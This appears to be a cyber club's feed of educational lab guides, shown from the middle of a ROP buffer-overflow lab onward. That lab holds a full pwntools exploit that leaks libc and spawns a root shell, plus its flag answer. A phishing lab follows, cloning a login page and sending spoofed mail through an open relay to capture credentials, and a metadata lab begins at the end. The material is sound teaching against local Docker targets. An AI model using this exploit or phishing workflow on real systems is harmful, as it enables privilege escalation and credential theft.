rop.call(elf.symbols[&amp;#34;vuln&amp;#34;])
# This is the offset that we found earlier for how many A&amp;#39;s we are allowed to put in the buffer.
offset = 56
# This will consume the line that says, &amp;#34;Hello, I would like to return something.&amp;#34;
p.recvuntil(&amp;#34;\n&amp;#34;)
# This will consume the line that says, &amp;#34;What would you like to return today?&amp;#34;
p.recvuntil(&amp;#34;\n&amp;#34;)
# This will put the payload into an array.
payload = [
b&amp;#34;A&amp;#34;*offset,
rop.chain()
]
# This will join the payload together, allowing for direct bytes to be sent into the program.
payload = b&amp;#34;&amp;#34;.join(payload)
# This will send out payload
p.sendline(payload)
# We are now going to receive two lines of data–the first will be the printed output of the puts GOT entry we are receiving the raw bytes here, then we do the same thing for the GOT entry.
puts = u64(p.recvuntil(&amp;#34;\n&amp;#34;).rstrip().ljust(8, b&amp;#39;\x00&amp;#39;))
gets = u64(p.recvuntil(&amp;#34;\n&amp;#34;).rstrip().ljust(8, b&amp;#39;\x00&amp;#39;))
# Then, we print the output of the leak onto the terminal to use in the next phase of the attack.
log.info(f&amp;#34;puts found at {hex(puts)} &amp;#34;)
log.info(f&amp;#34;gets found at {hex(gets)} &amp;#34;)
# Load the Libc shared object as our ELF file we want to work on
libc = ELF(&amp;#34;libc6_3.39-0ubuntu8.6_amd64.so&amp;#34;)
# Find the base address of libc in memory by subtracting what the GOT has puts at and where puts is being show in the shared object file
libc.address = puts - libc.symbols[&amp;#34;puts&amp;#34;]
# Print out this base address
log.info(f&amp;#34;libc base address {hex(libc.address)} &amp;#34;)
# Get the ROP gadgets out of the Libc ELF
rop = ROP(libc)
# Send this return. This is re-aligning the stack, a more advanced concept that is important as you progress through binary exploitation. I encourage you to look further into the importance of stack alignment but I will not be covering this concept at this time.
rop.raw(rop.find_gadget([&amp;#39;ret&amp;#39;])[0])
# The SetUID command set to 0 root&amp;#39;s userID
rop.setuid(0)
# Aligning the stack again
rop.raw(rop.find_gadget([&amp;#39;ret&amp;#39;])[0])
# Setting the gid to 0 which is root&amp;#39;s groupID
rop.setgid(0)
# We will attempt to call the system function with the argument of /bin/sh it would look like this system(&amp;#34;/bin/sh&amp;#34;);
rop.call(libc.symbols[&amp;#34;system&amp;#34;], [next(libc.search(b&amp;#34;/bin/sh\x00&amp;#34;))])
# Exit out of the program dropping us into the shell
rop.call(libc.symbols[&amp;#34;exit&amp;#34;])
# Build a payload as an array
payload = [
b&amp;#34;A&amp;#34;*offset,
rop.chain()
]
# Turn the array into a string of bytes that can be sent to the program
payload = b&amp;#34;&amp;#34;.join(payload)
# Send the payload to the program
p.sendline(payload)
# Make our session interactive
p.interactive()
&lt;/code&gt;&lt;/pre&gt;&lt;h1 id="delivery"&gt;Delivery&lt;/h1&gt;
&lt;p&gt;You now have a complete exploit. You can run the exploit now using:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;python3 exploit.py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Upon successful exploitation, you should be seeing:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/success.png" alt="success"&gt;&lt;/p&gt;
&lt;p&gt;Usually, people will run a command like &lt;code&gt;id&lt;/code&gt; to see that they are root, which is what I ran. Now, if we change directories back to root&amp;rsquo;s home directory and cat flag.txt, we can see the flag for this lab.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;cd /root/
cat flag.txt
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now, we can simply type exit to break the program, exit to get out of the root terminal, and type exit again to leave the docker container.&lt;/p&gt;
&lt;p&gt;To shut down and remove this container simply run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;docker stop rop-lab-container
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Followed by:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;docker rm rop-lab-container
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And finally:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;docker rmi rop-lab
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To remove the rop-lab image from your machine.&lt;/p&gt;
&lt;h2 id="questions"&gt;Questions&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Question 1:&lt;/strong&gt; What is the root flag on the docker container?&lt;/p&gt;
&lt;h2 id="answers"&gt;Answers&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Question 1:&lt;/strong&gt; WSU-PROF-3920&lt;/p&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I hope this has been an educational experience for everyone who has completed this challenge. You have successfully found a buffer overflow vulnerability, and even in the face of a few modern defence mechanisms, you found a way to use return oriented programming, along with the vulnerable application, to perform a privilege escalation attack on a machine. While this lab might not seem like a real world example, it truly can happen. Misconfigurations like this do occur, and applications are being found to be vulnerable to buffer overflows all the time. The protection against an attack like this is modern protections like ASLR or PIE. But good coding practices or memory safe code, such as Rust, should be where you start. If you would like to learn more about these topics, look up videos or articles on Return Oriented Programming or Binary Exploitation. &lt;a href="https://www.youtube.com/@_JohnHammond"&gt;John Hammond&lt;/a&gt; and &lt;a href="https://www.youtube.com/LiveOverflow"&gt;Live Overflow&lt;/a&gt; also have some very good videos on this topic and many other cyber security related topics. Thank you again for participating. Let me know what you would like to see next or if you have any questions!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Until Next Time!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Professor&lt;/strong&gt;&lt;/p&gt;</content></item><item><title>Phishing</title><link>https://weber-cyber-club.github.io/labs/phishing/</link><pubDate>Fri, 19 Dec 2025 12:42:40 -0700</pubDate><guid>https://weber-cyber-club.github.io/labs/phishing/</guid><description>&lt;h1 id="phishing-lab"&gt;Phishing Lab&lt;/h1&gt;
&lt;h2 id="purpose"&gt;Purpose&lt;/h2&gt;
&lt;p&gt;This is a lab that has been created for students to simulate a phishing attack on a network. Contained within the lab environment is an SMTP Server and a Web Server. Students will need to provide their own machine to attack off of, and follow the guide provided &lt;a href="https://weber-cyber-club.github.io/extradocs/docker/docker-setup/"&gt;here&lt;/a&gt; to set up the Docker network. These instructions were written for the network to be set up in Kali Linux.&lt;/p&gt;</description><content>&lt;h1 id="phishing-lab"&gt;Phishing Lab&lt;/h1&gt;
&lt;h2 id="purpose"&gt;Purpose&lt;/h2&gt;
&lt;p&gt;This is a lab that has been created for students to simulate a phishing attack on a network. Contained within the lab environment is an SMTP Server and a Web Server. Students will need to provide their own machine to attack off of, and follow the guide provided &lt;a href="https://weber-cyber-club.github.io/extradocs/docker/docker-setup/"&gt;here&lt;/a&gt; to set up the Docker network. These instructions were written for the network to be set up in Kali Linux.&lt;/p&gt;
&lt;h2 id="background"&gt;Background&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;What is phishing?&lt;/strong&gt; Phishing is a form of social engineering; the goal is to impersonate someone a user may trust in order to gain information about them. There are many forms of phishing; some of the most common forms are: Mass Phishing (emailing as many targets as possible and hoping for a result), Spear Phishing (targeting one specific user, often someone who is seen as powerful, AKA whaling), Smishing (phishing but over text message), and Vishing (phishing over the phone). Phishing is a real problem in the industry. Primarily due to the lack of skill it takes to pull off, and the significant return the attacker may see. The attacker no longer needs to find a vulnerability in a system you have; all they need is one weak link in your personnel. It is also quite tough to defend against; the best way to defend against a good phishing campaign is through training. There are tools that can monitor emails and keep most threats at bay, but as mentioned earlier, this attack doesn&amp;rsquo;t just have to be in the user&amp;rsquo;s email. You also cannot defend your users when they are not at work, leaving many gaps in your security. Proving, Social Engineering is truly one of the biggest threats a company can face.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What does this lab entail?&lt;/strong&gt; This lab gives a basic introduction to how a phishing campaign may work against a company. We will be using a Docker container as our victim. This container will act as the organization we are going after. We will be using an open relay SMTP server (which is hosted on the Docker container) and a phishing website (which will be hosted on our machine). The main goal is to just introduce students to the simplicity of sending a phishing email, not advanced techniques in evading modern defenses, or the art of social engineering itself. In a later lab, I hope to give students a look into defending against phishing campaigns through email security; however, that is not the point of this lab.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What will I need?&lt;/strong&gt; All you need is a machine to do an attack on, preferably, this is Kali Linux; however, if you can make it work, it can be any machine. The script provided within the &lt;a href="https://weber-cyber-club.github.io/extradocs/docker/docker-setup/"&gt;Docker Setup&lt;/a&gt; tutorial was written for Kali, which is why it is recommended. The tools that will be used for this lab are Python 3 (which should be on your machine by default), Docker (which can be installed using the Docker setup tutorial mentioned earlier), and the Social Engineering Toolkit (which is likely on your machine already; however, instructions for installation will be given later).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lab Setup:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Victim
&lt;ul&gt;
&lt;li&gt;OS: Fedora 43 Docker Container&lt;/li&gt;
&lt;li&gt;SMTP Server: Postfix 3.10.3-3.fc43&lt;/li&gt;
&lt;li&gt;Web Server: Node 22.20.0-1.fc43&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;AS ALWAYS, PLEASE DO NOT USE ANY TECHNIQUES LEARNED IN THIS ACTIVITY FOR ANY WRONGDOING. THIS DEMONSTRATION IS FOR STRICTLY EDUCATIONAL PURPOSES. AN ATTACK ON ANY NETWORK OR DEVICE YOU DO NOT OWN IS A CRIME!!!!&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="lab-guide"&gt;Lab Guide&lt;/h2&gt;
&lt;h3 id="scope"&gt;Scope&lt;/h3&gt;
&lt;p&gt;Our target for this demonstration is Profos-Systems, a technology company that happens to live within our computer. We are after a flag that is very important to use. We know that the founder and owner of Profos-Systems is The Professor. We were able to track down his email as being &amp;ldquo;&lt;a href="mailto:professor@profos-systems.com"&gt;professor@profos-systems.com&lt;/a&gt;&amp;rdquo;. We have also found their website. We are pretty sure the flag is on the site, but The Professor is the only one with access to the flag. We need to get his credentials and log on to the Profos-Systems website to get the flag.&lt;/p&gt;
&lt;p&gt;While there are many different approaches we could take to do this, we are going to use social engineering, after all, it is probably the simplest method available.&lt;/p&gt;
&lt;h3 id="getting-started"&gt;Getting Started&lt;/h3&gt;
&lt;p&gt;Before we begin our lab, let&amp;rsquo;s ensure we have everything that we need to be successful. If you haven&amp;rsquo;t already visited &lt;a href="https://weber-cyber-club.github.io/extradocs/docker/docker-setup/"&gt;Docker Setup&lt;/a&gt;, to get Docker installed and set up for labs. If you are confident in your Docker skills, don&amp;rsquo;t even worry, just keep going through the lab.&lt;/p&gt;
&lt;p&gt;Now with Docker installed, let&amp;rsquo;s begin checking and installing the dependencies that we will need for this demonstration. As mentioned earlier, we are going to need Python 3 and the Social Engineering Toolkit.&lt;/p&gt;
&lt;p&gt;To check if Python 3 exists just run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;python3 --version
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As long as a version appears, you have Python 3 on your system already! If, for some reason, you did not have Python 3 installed, just run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Ensures your repository indexes are current
sudo apt update
# Installs Python 3
sudo apt install python3
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To check if the Social Engineering Toolkit is installed on your system, run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo setoolkit
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If this pulls up the Social Engineering Toolkit menu, then you have it installed; if not, just run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo apt update
sudo apt install set
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now we should have everything we need set up and installed on our system!&lt;/p&gt;
&lt;p&gt;The final thing we need to do as far as setup is ensure we have this challenge on our machine. To do this, we will just clone the Club-Challenges repository from GitHub, using:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Pull down the remote repository
git clone https://github.com/weber-cyber-club/Club-Challenges.git
# Change directory into the Phishing Lab repository
cd Club-Challenges/Labs/Phishing/
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="building-the-docker-container"&gt;Building The Docker Container&lt;/h3&gt;
&lt;p&gt;Building a Docker container is quite simple when you have all the files you need already, which, in this case, we do. Start by ensuring you are in the /Club-Challenges/Labs/Phishing/ directory as described previously and run the following command to build the Docker container (please note it may take some time for the machine to fully build for the first time):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;docker build -t phishing-lab .
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;-t sets the tag or name of the image we are building (the tag is used to make sure all the Docker images build the same way)&lt;/li&gt;
&lt;li&gt;. sets the context of where the building files for the container are located, in this case, the current directory&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;docker image ls
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You should see the &amp;ldquo;phishing-lab&amp;rdquo; container image that we just built. We are now ready to run our Docker machine. To run the Docker machine, we just need one command and a few flags:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;docker run -d --network challenge_net --name victim-machine phishing-lab
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;-d runs the container as detached, which means it will begin running on its own&lt;/li&gt;
&lt;li&gt;&amp;ndash;network sets the network we want this machine to reside on, in this case &amp;ldquo;challenge_net&amp;rdquo;&lt;/li&gt;
&lt;li&gt;&amp;ndash;name gives the machine a name; if you do not set this, it will get a random name (in this case, it is used again to make the machine you build similar to the one used in the lab)&lt;/li&gt;
&lt;li&gt;phishing-lab is the name of the image we would like to run&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now we just need to check if the machine successfully came up. To do this, we would run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;docker ps -a
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And look for the victim-machine, it should say up, and listening on ports 25/tcp and 80/tcp&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/phishing/psa.png" alt="ps -a output"&gt;&lt;/p&gt;
&lt;p&gt;Finally, let&amp;rsquo;s just check what the IP address of this machine is. To do this, you will run the command:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;docker network inspect challenge_net
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You should get an output of two different machines (unless you have some from other labs), we are interested in “victim machine”.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/phishing/victimmachineip.png" alt="Victim Machine IP"&gt;&lt;/p&gt;
&lt;p&gt;As you can see, my victim machine, and likely yours as well, is running on 172.18.0.2, our local machine is .1 acting as the router for this bridged Docker network.&lt;/p&gt;
&lt;h3 id="reconnaissance"&gt;Reconnaissance&lt;/h3&gt;
&lt;p&gt;As with any cyber operation, we should probably start by taking a look at the target. In this case, the target should be at http://172.18.0.2/. Let&amp;rsquo;s go to that page and see what we get!&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/phishing/profos-login.png" alt="Profos-Systems Login Page"&gt;&lt;/p&gt;
&lt;p&gt;We can see that we get a pretty awesome login page here. Let&amp;rsquo;s see if we can do some normal attacks on it, try some default credentials like admin:admin.&lt;/p&gt;
&lt;p&gt;That didn&amp;rsquo;t seem to work for us, but we do know of one user at Profos-Systems, and that is Professor! Let&amp;rsquo;s try &amp;ldquo;Professor&amp;rdquo; as a user and maybe &amp;ldquo;password&amp;rdquo; for his password.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Professor does need to be capitalized–it is case sensitive&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Although we didn&amp;rsquo;t get the password right, we did reveal something interesting: we no longer see &amp;ldquo;No User Found&amp;rdquo; as an error; we get &amp;ldquo;Password incorrect!&amp;rdquo; This could be an indicator that we at least have a target to go after.&lt;/p&gt;
&lt;p&gt;We can try a few more passwords, but unless you have an amazing guess, you will not get it! So in that case, let&amp;rsquo;s move on to some more active techniques against Profos-Systems.&lt;/p&gt;
&lt;h3 id="phishing"&gt;Phishing&lt;/h3&gt;
&lt;p&gt;We could always try to exploit the system that Profos-Systems is using for their web app, or maybe a vulnerability in another server. However, that is not what we&amp;rsquo;re here for; we are trying to learn phishing. After all, &amp;ldquo;if you give a man a fish, you feed him for a day; teach a man to fish, and you feed him for a lifetime.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;To begin this journey, we need to understand what we are doing with social engineering. We are attempting to gain someone&amp;rsquo;s trust who has no business trusting us in the first place. Unless you are super lucky, a user is not just going to hand you over a password if you say, &amp;ldquo;Hello there, can I please have your password????&amp;rdquo; This is where a phishing campaign comes into play. It is called a campaign for a reason; it will take some planning and proper execution to work. Let&amp;rsquo;s start with a very common approach to phishing. We aren&amp;rsquo;t going to directly ask the user for a password; however, we could use an HTML form to do the asking for us. Now, most users will not fall for a plain, old HTML form; we need to make it believable. What if&amp;hellip; we stole the Profos-Systems login page???&lt;/p&gt;
&lt;p&gt;One way to accomplish this is using a tool called wget, which is on pretty much all Linux systems by default, which is why I didn&amp;rsquo;t include it as something we needed to download. However, if you, for some reason, need to install it, just use this command:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo apt install wget
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And you should be good!&lt;/p&gt;
&lt;p&gt;So let&amp;rsquo;s scrape a website using wget:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;wget --mirror --page-requisites --adjust-extension --no-parent http://172.18.0.2/
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&amp;ndash;mirror: Turn on options suitable for mirroring. This option turns on recursion and time-stamping, sets infinite recursion depth, and keeps FTP directory listings. It is currently equivalent to -r -N -l inf &amp;ndash;no-remove-listing.&lt;/li&gt;
&lt;li&gt;&amp;ndash;page-requisites: Turn on options suitable for mirroring. This option turns on recursion and time-stamping, sets infinite recursion depth, and keeps FTP directory listings. It is currently equivalent to -r -N -l inf &amp;ndash;no-remove-listing.&lt;/li&gt;
&lt;li&gt;&amp;ndash;adjust-extension: If a file of type application/xhtml+xml or text/html is downloaded and the URL does not end with the regexp .[Hh][Tt][Mm][Ll]?, this option will cause the suffix .html to be appended to the local filename. This is useful, for instance, when you&amp;rsquo;re mirroring a remote site that uses .asp pages, but you want the mirrored pages to be viewable on your stock Apache server. Another good use for this is when you&amp;rsquo;re downloading CGI-generated materials. A URL like &lt;a href="http://site.com/article.cgi?25"&gt;http://site.com/article.cgi?25&lt;/a&gt; will be saved as article.cgi?25.html&lt;/li&gt;
&lt;li&gt;&amp;ndash;no-parent: Do not ever ascend to the parent directory when retrieving recursively. This is a useful option, since it guarantees that only the files below a certain hierarchy will be downloaded.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once this command has completed, we should have a new directory called 172.18.0.2. Let&amp;rsquo;s change into that directory.&lt;/p&gt;
&lt;p&gt;cd 172.18.0.2&lt;/p&gt;
&lt;p&gt;If we use the ls command, we can see that we do indeed have the files that we should have.&lt;/p&gt;
&lt;p&gt;There is a really cool feature of Python 3, and that is running modules without having to write all the backend code for it. This function is used all the time in cyber, mostly for on-the-fly HTTP servers. While it is not that hard to set up something like httpd, it is much easier to just use one line of code.&lt;/p&gt;
&lt;p&gt;To run an HTTP server using Python that will host this site, we just need to run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;python3 -m http.server 80
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;-m: run library module as a script&lt;/li&gt;
&lt;li&gt;http.server: creates a Python-backed HTTP server&lt;/li&gt;
&lt;li&gt;80: binds to port 80&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We are going to use port 80 just because it is a little more believable than setting this website up on 8080, which is most of the time where people put servers hosted by Python.&lt;/p&gt;
&lt;p&gt;Now let&amp;rsquo;s check that our HTTP server is running on our machine. We can go to 172.18.0.1 to check, localhost, 127.0.0.1, 127.25.3.48, any interface our computer listens on, seeing the Python server bound to 0.0.0.0, meaning all interfaces.&lt;/p&gt;
&lt;p&gt;If we go back to our console that is running the server, we can see all of the things that the client requested from the HTTP server. We are going to need to do a little more work to see what the user is sending us in the post request, however. This is because we are not going to go through and fully rebuild the Profos-Systems website; there is some JavaScript that handles the API endpoints used for the authentication.&lt;/p&gt;
&lt;p&gt;What we can do to see the users POST data is use Wireshark to watch the traffic come in. We are going to need to listen on whichever interface is the bridge that was created for Docker. We can run the command:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ip add
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And look for the interface that has the IP address of 172.18.0.1.&lt;/p&gt;
&lt;p&gt;Once we have this interface, we will open up Wireshark and double-click on the interface that we identified in the previous step.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/phishing/wireshark.png" alt="wireshark picture"&gt;&lt;/p&gt;
&lt;p&gt;This will bring us into the adapter that the Docker container should be talking to us on.&lt;/p&gt;
&lt;p&gt;We are now prepared to phish The Professor. We know from earlier that the email address that was found for him is &lt;a href="mailto:professor@profos-systems.com"&gt;professor@profos-systems.com&lt;/a&gt;. The Docker victim-machine Docker container has an SMTP server for us to use that has been configured to accept mail from anyone. Therefore, we can use it to send the professor an email. Let&amp;rsquo;s jump into the Social Engineering Toolkit and begin writing our phishing email.&lt;/p&gt;
&lt;p&gt;We will start by running the command:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo setoolkit
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Which will bring us to a menu screen. On the first screen, we should select option &amp;ldquo;1&amp;rdquo; for Social-Engineering Attacks, followed by option &amp;ldquo;5&amp;rdquo; for a Mass Mailer Attack. We are only attacking one user, so let&amp;rsquo;s use option &amp;ldquo;1&amp;rdquo;, and we do not want to use a template, so we will use option &amp;ldquo;2&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Now we are ready to start writing an email. We want to get The Professor to do something he normally wouldn&amp;rsquo;t do. One of the best ways to do this is by making things seem urgent. We should use a subject line that would give The Professor a reason to read it and take action! Let&amp;rsquo;s use the subject line &amp;ldquo;We Crashed The Production Server&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Now we will use option &amp;ldquo;p&amp;rdquo; as we just want a plain email. Now just write an email that gives The Professor a reason to jump into action, and most importantly, VISIT OUR PAGE!!!!! We need to make sure we have the URL to our page at some point in our email.&lt;/p&gt;
&lt;p&gt;Once you have your email written, we need to send it to The Professor, so for the “Email To” field, we need to put &amp;ldquo;&lt;a href="mailto:professor@profos-systems.com"&gt;professor@profos-systems.com&lt;/a&gt;&amp;rdquo;, then we need to use option 2: use your own server or open relay. For the front address, we will keep up with the theme of being Billy Bob the intern. Let&amp;rsquo;s put &lt;a href="mailto:billy.bob@profos-systems.com"&gt;billy.bob@profos-systems.com&lt;/a&gt; and our From Name as Billy Bob. Now, seeing this is an open relay, we do not need a username or password, so we can just hit enter on the next two questions.&lt;/p&gt;
&lt;p&gt;The SMTP server should be at 172.18.0.2 and port 25. Just remember back to when we listed out your network information for the Docker network, if you are wondering if your IP address is different. We don&amp;rsquo;t need to flag this email as urgent (because in the lab, it makes no difference), and we can say no to attaching any files.&lt;/p&gt;
&lt;p&gt;This should be our result:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/phishing/email.png" alt="Email"&gt;&lt;/p&gt;
&lt;p&gt;If everything has worked correctly, we can go into our Wireshark again and view the whole SMTP conversation and the POST request from the victim machine.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/phishing/wireshark-final.png" alt="Wireshark Final"&gt;&lt;/p&gt;
&lt;p&gt;Your job will be to find the username and password from the POST request, go to the victim machine web server, and log in successfully impersonating The Professor, and retrieve the flag that we are looking for! Good Luck!&lt;/p&gt;
&lt;h2 id="questions"&gt;Questions&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Question 1:&lt;/strong&gt; What is the default port of an SMTP server?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Question 2:&lt;/strong&gt; What is the username of the user we are trying to Phish?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Question 3:&lt;/strong&gt; What is the email of the user we are trying to Phish?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Question 4:&lt;/strong&gt; What is the password of the user we are trying to Phish?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Question 5:&lt;/strong&gt; What is the Flag found when successfully authenticating as the Phished user?&lt;/p&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I hope this gave you a good look into the basics of how phishing campaigns are laid out. While this is far from all of the tactics and techniques used, it is meant more as a warning of the dangers of social engineering. Just think, with a bit more time put into this site, or even the emails, you could make an impressively believable campaign. With that said, from the mindset of a defender, you need to be thinking of how to protect your users. Will you defend them through your own tools? Education? A little bit of both? It is your choice, but remember it can only take one user, making what might seem like a small mistake cost a company potentially millions of dollars in damages. I hope to make more labs in the future, showing more of the defense of phishing attacks, along with many other topics, all of which can be found on the &lt;a href="https://weber-cyber-club.github.io/"&gt;Weber State Cyber Club Website&lt;/a&gt;. Thank you for participating. I hope it was a fun lab!&lt;/p&gt;
&lt;h2 id="answers"&gt;Answers&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;The answers to the question&amp;rsquo;s asked within this lab are contained within the &lt;a href="https://weber-cyber-club.github.io/extradocs/phishing/phishing-answer/"&gt;Phishing Lab Answer File&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Until Next Time!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Professor&lt;/strong&gt;&lt;/p&gt;</content></item><item><title>Meta</title><link>https://weber-cyber-club.github.io/labs/meta/</link><pubDate>Fri, 17 Oct 2025 22:11:04 -0600</pubDate><guid>https://weber-cyber-club.github.io/labs/meta/</guid><description>&lt;h1 id="meta"&gt;Meta&lt;/h1&gt;
&lt;h2 id="purpose"&gt;Purpose:&lt;/h2&gt;
&lt;p&gt;This lab is adapted from the National Cyber League Gymnasium Open Source Intelligence easy challenge &amp;ldquo;Meta.&amp;rdquo; The purpose of this lab is to teach students how to extract and analyze metadata from image files using both online tools and command-line utilities, while understanding the security and privacy implications of embedded metadata.&lt;/p&gt;
&lt;h2 id="background"&gt;Background:&lt;/h2&gt;
&lt;h3 id="what-is-metadata"&gt;What is Metadata?&lt;/h3&gt;
&lt;p&gt;Meta- is a prefix meaning &amp;ldquo;self-referential.&amp;rdquo; Therefore, metadata essentially means &amp;ldquo;data about data.&amp;rdquo; This is information that describes, contextualizes, or provides details about other data. In OSINT (Open Source Intelligence) and digital forensics, metadata is a critical source of intelligence that often reveals more than the visible content itself. When you create, modify, or share a file, systems automatically embed metadata that can include usernames, software versions, GPS coordinates, timestamps, edit history, and device information.&lt;/p&gt;</description><content>&lt;h1 id="meta"&gt;Meta&lt;/h1&gt;
&lt;h2 id="purpose"&gt;Purpose:&lt;/h2&gt;
&lt;p&gt;This lab is adapted from the National Cyber League Gymnasium Open Source Intelligence easy challenge &amp;ldquo;Meta.&amp;rdquo; The purpose of this lab is to teach students how to extract and analyze metadata from image files using both online tools and command-line utilities, while understanding the security and privacy implications of embedded metadata.&lt;/p&gt;
&lt;h2 id="background"&gt;Background:&lt;/h2&gt;
&lt;h3 id="what-is-metadata"&gt;What is Metadata?&lt;/h3&gt;
&lt;p&gt;Meta- is a prefix meaning &amp;ldquo;self-referential.&amp;rdquo; Therefore, metadata essentially means &amp;ldquo;data about data.&amp;rdquo; This is information that describes, contextualizes, or provides details about other data. In OSINT (Open Source Intelligence) and digital forensics, metadata is a critical source of intelligence that often reveals more than the visible content itself. When you create, modify, or share a file, systems automatically embed metadata that can include usernames, software versions, GPS coordinates, timestamps, edit history, and device information.&lt;/p&gt;
&lt;p&gt;The image metadata in this lab is stored in EXIF (Exchangeable Image File Format) format. EXIF is a standard that specifies how metadata is embedded within image and audio files. EXIF data is stored alongside the actual image pixels.&lt;/p&gt;
&lt;h3 id="how-is-metadata-used"&gt;How is Metadata Used?&lt;/h3&gt;
&lt;h4 id="from-a-red-teamattacker-perspective"&gt;From a Red Team/Attacker Perspective:&lt;/h4&gt;
&lt;p&gt;Metadata can be scanned to identify software vulnerabilities and reconnaissance opportunities. GPS coordinates embedded in posted photos can expose facility locations or travel patterns.&lt;/p&gt;
&lt;h4 id="from-a-digital-forensicsincident-responseblue-team-perspective"&gt;From a Digital Forensics/Incident Response/Blue Team Perspective:&lt;/h4&gt;
&lt;p&gt;Metadata can be used to reconstruct attack timelines by correlating file creation timestamps, last modified dates, and access logs across systems.&lt;/p&gt;
&lt;h2 id="lab-guide"&gt;Lab Guide:&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/meta/Meta.jpg" alt="Meta.jpg"&gt;&lt;/p&gt;
&lt;p&gt;This lab contains one &lt;a href="https://weber-cyber-club.github.io/assets/meta/Meta.jpg"&gt;JPEG image file&lt;/a&gt; featuring a baby lamb. There are two main ways to extract the metadata from this file and answer the &lt;a href="https://weber-cyber-club.github.io/labs/meta/#questions"&gt;questions&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The first of these ways is to utilize an online tool such as &lt;a href="https://www.metadata2go.com/"&gt;https://www.metadata2go.com/&lt;/a&gt;.&lt;/p&gt;
